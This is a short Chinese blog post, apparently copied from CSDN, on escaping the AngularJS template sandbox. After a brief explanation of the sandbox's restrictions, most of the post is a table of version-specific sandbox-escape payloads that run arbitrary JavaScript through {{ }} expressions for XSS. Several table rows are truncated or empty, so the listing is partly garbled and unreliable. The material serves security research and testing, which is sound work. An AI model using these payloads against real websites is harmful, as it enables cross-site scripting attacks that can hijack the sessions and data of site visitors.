https://blog.csdn.net/wenrennaoda/article/details/89885722
1、逃逸Payload
Angular通过“{{expression}}”来作为输出的标志,而对于双括号里面的内容Angular会计计算并输出结果。然而Angular模板表达式会经过沙箱验证,例如:1)不允许使用Function对象;2)不允许使用window对象;3)不允许使用dom对象;4)不允许使用Object对象;5)对obj对象的constructor进行检查,确保其不是Function对象,并且call,apply,bind等方法的调用也是不允许的;6)等等。这些使得直接的javascript语句不能运行,无法进行攻击。
然而攻击者研究各版本沙箱机制,提出了各版本逃逸Payload,通过这些Payload可对目标网站发动XSS攻击。各版本Payload如下表所示:
AngularJS版本 | 沙箱逃逸利用有效负载 |
1.0.1-1.1.5 | {{constructor.constructor('alert(1)')()}} |
1.2.0-1.2.1 | {{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a]. getPrototypeOf(a.sub),a).value,0,'alert(1)')()}} |
1.2.2-1.2.5 | {{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}} |
1.2.6-1.2.18 | {{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$). value,0,'alert(1)')()}} |
1.2.19-1.2.23 | {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"]. sort(toString.constructor);}} |
1.2.24-1.2.29 | {{'a'.constructor.prototype.charAt=''.valueOf;$eval ("x='\"+(y='if(!window\\u002ex) alert(window\\u002ex=1)')+eval(y)+\"'");}} |
1.3.0 | {{!ready && (ready = true) && ( |
1.3.1-1.3.2 | {{ |
1.3.3-1.3.18 | {{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join; |
1.3.19 | {{ |
1.3.20 | {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} |
1.4.0 - 1.4.9 | {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} |
1.3.0 - 1.5.8 | {{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,alert(1),a')}} |
1.5.9 - 1.5.11 |
|
>=1.6.0 | {{constructor.constructor('alert(1)')()}} |